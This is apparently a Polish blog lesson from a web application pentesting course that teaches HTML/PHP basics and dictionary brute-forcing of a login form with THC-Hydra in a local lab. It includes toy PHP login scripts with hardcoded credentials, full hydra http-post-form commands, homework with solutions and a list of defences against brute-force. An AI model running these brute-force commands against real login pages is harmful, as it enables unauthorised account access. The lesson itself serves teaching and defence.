WEP lekcja #3 – Wprowadzenia do HTML, PHP i brute-force

W dzisiejszej trzeciej już lekcji Web Application Pentesting, zajmiemy się szybkim praktycznym wprowadzeniem do języka HTML, PHP i ataków siłowych (brute-force) skierowanych na formularze. Wykorzystamy w tym celu nasz obraz systemu operacyjnego Kali Linux uruchomiony w środowisku wirtualnym VirtualBox. W kolejnych lekcjach pokażemy nieco bardziej rzeczywiste i wyrafinowane metody ataków na strony internetowe. Do tej lekcji dołączone są zadania do wykonania we własnym zakresie wraz z rozwiązaniami. Polecam Tobie jeśli chcesz działać w myśl kreatywnych hakerów, spróbować najpierw rozwiązać zadanie samemu, a dopiero później zajrzeć do zamieszczonego spoilera z rozwiązaniem.

Materiał wideo – lekcja #3

Uwaga. W filmie wkradło się kilka przejęzyczeń ze względu na nagrywaniu w formie improwizacji bez transkryptu. Przykładowo element INPUT typu HIDDEN określiłem jako przycisk. Miałem na myśli oczywiście określenie pole formularza a nie przycisk. Ogólnie INPUTY możesz określać mianem kontrolek/pól formularza/pól danych różnego typu.

Nasz prosty formularz logowania PHP z lekcji wideo

Kod źródłowy prostego panelu logowania zaprezentowany w filmie wideo jest następujący:

<form action="formularz.php" method="POST">
Login: <input type="text" name="login">
Haslo: <input type="text" name="haslo">
<input type="submit">
</form>

<?php
$login = $_POST['login'];
$haslo = $_POST['haslo'];
//ponizszy kod wyswietla zmienna $a

if ($login=='admin' && $haslo=='1234')
{
	echo('Czesc admin!');
} else 
{
	echo('Nie zalogowano!');
}
?>

Użyte polecenia hydra http-post-form

Poniżej znajdują się dwa polecenia użyte w materiale wideo wykorzystujące protokół HTTP i metodę POST. Wersja z sprawdzaniem sukcesu, czyli czy zalogowaliśmy się:

hydra 192.168.0.14 -l admin -P slownik.txt http-post-form "/formularz.php:login=^USER^&haslo=^PASS^:S=Czesc admin!" -V

Wersja ze sprawdzaniem nie zalogowania się, czyli gdy podamy nie poprawne dane logowania.

hydra 192.168.0.14 -l admin -P slownik.txt http-post-form "/formularz.php:login=^USER^&haslo=^PASS^:F=Nie zalogowano!" -V

Materiał dodatkowy

Poniżej znajduje się nasz poprzedni wpis. Polecam przejrzenie go pobieżnie i przyjrzeniu się zamieszczonemu tam naszemu filmikowi. Pokazany jest tam sam przykład bardziej praktyczny z najnowszym systemem CMS WordPress z wykorzystaniem innego narzędzia do badania stron internetowych (Burp Suite Proxy).

Dictionary attack na formularz HTTP POST z THC-Hydra

Praca domowa we własnym zakresie

W końcu nadszedł czas na pierwsze prace domowe. Dzisiaj czekają na Ciebie cztery dosyć proste zadania. Staramy się układać treść zadania w taki sposób, żebyś na podstawie wideo był w stanie je wykonać. Niektóre zadania wymagają kreatywności i zrozumieniu obejrzanego zagadnienia. Dlatego głównie kładziemy nacisk na praktykę a nie suchą wiedzę. Nie bój się używać oczywiście wyszukiwarki jeśli nic nie możesz wymyślać. Staraj się jednak unikać gotowców. Pod zadaniami są ukryte rozwiązania. Nie psuj sobie zabawy. Najpierw spróbuj sam, dopiero później porównaj swoje rozwiązania i wyciągnij wnioski. Nie twierdzimy, że nasze rozwiązania są jedyne i najlepsze. Jeśli wymyślisz coś ciekawego i innego to pochwal się tym w komentarzu w myśl nurtu hakerskiego ;-).

-> Zadanie 1

Zaimplementuj w języku PHP i HTML z pomocą zdobytej wiedzy z materiału wideo, prosty kalkulator. Wykorzystaj metodę POST i wprowadzaj kod ręcznie (nie kopiuj). Na pewno wtedy lepiej zapamiętasz materiał.  Nazwij plik kalkulator.phpPodpowiedź: w celu dodania dwóch liczb wykorzystaj poniższą wskazówkę.

$_POST['liczbaA']+$_POST['liczbaB']

Całość powinna przypominać poniższy obrazek.

Kurs Web Application Pentesting - formularz kalkulatora
Przybliżony wygląd formularza i działanie skryptu PHP, który powinieneś zaprojektować w celu utrwalenia materiału.
Uwaga! Rozwiązanie 1. Nie psuj sobie zabawy!

<form action="kalkulator.php" method="POST">
Liczba A: <input type="text" name="liczbaA">
Liczba B: <input type="text" name="liczbaB">
<input type="submit" value="Oblicz">
</form>

<?php
echo("<b>Wynik:</b>");
echo($_POST["liczbaA"]+$_POST["liczbaB"]);
?>

-> Zadanie 2

Poszukaj za pomocą swojej wyszukiwarki internetowej kilka przykładowych słowników z hasłami. Podpowiedź: wykorzystaj takie frazy wyszukiwania jak np:

dictionary txt, password dictionary, słownik haseł txt

Podpowiedź: Nigdy nie ograniczaj się do jednego języka narodowego. Poszukując informacji w sieci zawsze możesz skorzystać z Google Translatora w celu przetłumaczenia i wyszukania pewnych informacji na polskich, angielskich, hiszpańskich, rosyjskich i np. chińskich stronach. Wyniki mogą się diametralnie różnić.

Nie musisz ściągać tego słownika, chodzi o zwrócenie Twojej uwagi na zalety umiejętności wyszukiwania informacji. Więcej na ten temat znajdziesz pod frazą Google Hacking i w naszym jednym z poprzednich wpisów znajdujący się poniżej.

Google Hacking – w służbie hakerom


Uwaga! Rozwiązanie 2. Nie psuj sobie zabawy!

Kilka przykładowych słowników znalezionych w kilka sekund w sieci:

-> Zadanie 3

Spróbuj za pomocą hydry w systemie Kali Linux złamać poniższy formularz logowania. Podpowiedź: Zbadaj działanie skryptu. Pamiętaj też, że w utworzonym przez Ciebie testowym słowniku musi znajdować się hasło 1234. Zapisz w folderze htdocs programu XAMPP poniższy kod źródłowy pod nazwą formularzLogowania.php:

<form action="formularzLogowania.php" method="POST">
Podaj swoje login: <input type="text" name="nick">
Podaj swoje haslo: <input type="text" name="password">
<input type="hidden" name="kod_bezpieczenstwa" value="27062013">
<input type="submit" value="Zaloguj">
</form>

<?php
$login = $_POST['nick'];
$haslo = $_POST['password'];
$kod = $_POST['kod_bezpieczenstwa'];

if ($login=='admin' && $haslo=='1234' && $kod==27062013)
{
	echo('<b>Zalogowales sie administratorze!</b>');
}
?>
Uwaga! Rozwiązanie 3. Nie psuj sobie zabawy!

hydra 192.168.0.14 -l admin -P slownik.txt http-post-form "/formularzLogowania.php:nick=^USER^&password=^PASS^&kod_bezpieczenstwa=27062013:S=Zalogowales sie administratorze!" -V

-> Zadanie 4

Zastanów się będąc projektantem takiego formularza logowania, jakie mechanizmy byś zastosował do powstrzymania ataku brute-force wykonanego przez cyberprzestępce. Oczywiście nie znasz za bardzo jeszcze języka PHP i HTML, więc ogranicz się jedynie do teoretycznych rozważań. Nie ważne, czy da się to zrobić w PHP czy też nie. Oczywiście niech Cię za bardzo fantazja nie ponosi…

Jeśli masz jakieś ciekawe pomysły to napisz je obowiązkowo w komentarzu pod tym wpisem. Nie chcę w tym przypadku podpowiadać, więc dam najgłupszy przykład jaki przyszedł mi do głowy. Umieścił bym nad formularzem zdjęcie wściekłego psa z dopiskiem uwaga chronię ten formularz! ;-).

Uwaga! Rozwiązanie 4. Nie psuj sobie zabawy!

Kilka przykładowych możliwości:

  • Implementacja zwłoki czasowej, która sprawdza czy login i hasło nie jest wprowadzany częściej niż raz na minutę,
  • Wprowadzenia dodatkowego pola formularza z zagadką do rozwiązania. Może być to pytanie, które będzie łatwe do rozwiązania przez człowieka a trudne przez komputer,
  • Zaprogramowanie mechanizmu automatycznego blokowania adresu IP użytkownika po kilku nieudanych próbach logowania,
  • Dodatkowy kod z lekko zamazanego obrazka w formularzu do przepisania przez użytkownika,
  • Implementacja logowania dwuetapowego. Użytkownikowi podczas logowania wysyłany jest dodatkowy losowy kod w wiadomości e-mail lub SMS do przepisania w dodatkowym polu formularza,
  • Generowanie za pomocą PHP lub dowolnego innego języka skryptowego losowego kodu lub tekstu doklejanego za każdym razem do elementu INPUT typu HIDDEN w formularzu. Wartość ta porównywana jest po wysłaniu formularza z zapamiętaną wartością w PHP. Jeśli są identyczne to kontynuuj sprawdzanie poprawności danych logowania,
  • Stworzenie mechanizmu whitelist, która wymienia adresy IP uprawnione do zalogowania się,
  • Blokowanie użytkownika od razu po wprowadzeniu nie istniejącej nazwy użytkownika.

Podsumowanie lekcji audytowania www nr #3

Jak widzisz sam język HTML i PHP jeśli poznasz pewne podstawy nie jest trudny do jego rozumienia. Znam wiele osób, które De facto nie programują w języku PHP a potrafią go bez problemu czytać ze zrozumieniem. Nie zamierzamy tworzyć oczywiście kursu od zera do programisty.

Poruszamy tylko aspekty, które są wymagane do zrozumienia dalszych zagadnień. Chcemy uniknąć sytuacji, w której wasza wiedza będzie się opierać na CTRL+C CTRL+V. Chcemy, abyście rozumieli to co robicie a nie bezmyślnie kopiowali. Jeśli zainteresowało Cię tworzenie stron internetowych, to na pewno znajdziesz w internecie wiele bardzo fajnych zarówno darmowych jak i płatnych kursów, książek i filmów.

Dla nowych czytelników podajemy link do poprzedniej lekcji tego kursu #0, #1 i #2.

Liczymy na wasz odzew czy kurs się podoba i go kontynuować. Jeśli chcesz być na bieżąco zlajkuj nas na fejsie lub subskrybuj kanał na YouTube. Powodzenia w pracy domowej ;-)!

 

19 thoughts to “WEP lekcja #3 – Wprowadzenia do HTML, PHP i brute-force”

  1. po naciśnięciu create/reset database pojawia się pusta strona z adresem localhost/setup.php# wszystko wcześniej zrobiłem zgodnie z filmikiem

    1. TO przeczytaj opis pod filmem + wpis do tego filmu z opisu + KOMENTARZE pod filmem „Kurs Web Application Pentesting – Instalacja DVWA i Kali Linux #2”. Chyba złą wersje XAMPP’a masz, prawda? 🙂

  2. Co do zadania 4. Gdyby ktoś próbował się w ten sposób włamać, strona automatycznie by wygrywała mu na komputer virusa np keyloggera.

    1. W pierwszej pracy nakombinowaliście z rozwiązaniem. Można tez zrobić ze zmiennymi, co po obejrzeniu filmu przychodzi szybko do głowy

  3. Mam Pytanie jak ustawić w Notepad++ żeby automatycznie po kliknięciu np. { robiły się od razu dwa {} nie mogę tego nigdzie znaleść

  4. Mam pewien problem a mianowicie kiedy wydam polecenie hydrze to na dole terminarza wyświetla mi się naruszenie ochrony pamięci. I nic nie mogę zrobić.

  5. Taki prosty pomysł: max nieudanych logowań i potem blok dla danego użytkownika np. na 15 min lub odblokowanie e-mailem/tel (swoją drogą często stosowane).

  6. Witam, Mam problem z hydrą a mianowicie podczas ataku słownikowego kiedy w słowniku jest umieszczone poprawne hasło to po skończonym ataku wyświetla się komunikat że nie zostało znalezione poprawne hasło.

  7. Cz będzie kontynuowana praca nad dalszą częścią poradnika. Kiedykolwiek?
    Chcę podziękować za to co zrobiliście do tej pory. Kawał dobrej roboty. Szacun.

  8. Dzień dobry.Ja w sprawie zadania nr.3 . Nawet po skopiowaniu rozwiązania,zmianie w nim ip na mój i po postawieniu spacji po wykrzykniku. Wychodzi mi że albo wszystkie hasłą są dobre ,albo złe ,w zależności czy zrobie „F=” czy „S=” Nigdy mi prawidłowo nie wyszło a dużo kombinowałem . Co mogę robić nie tak? Pozdrawiam

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *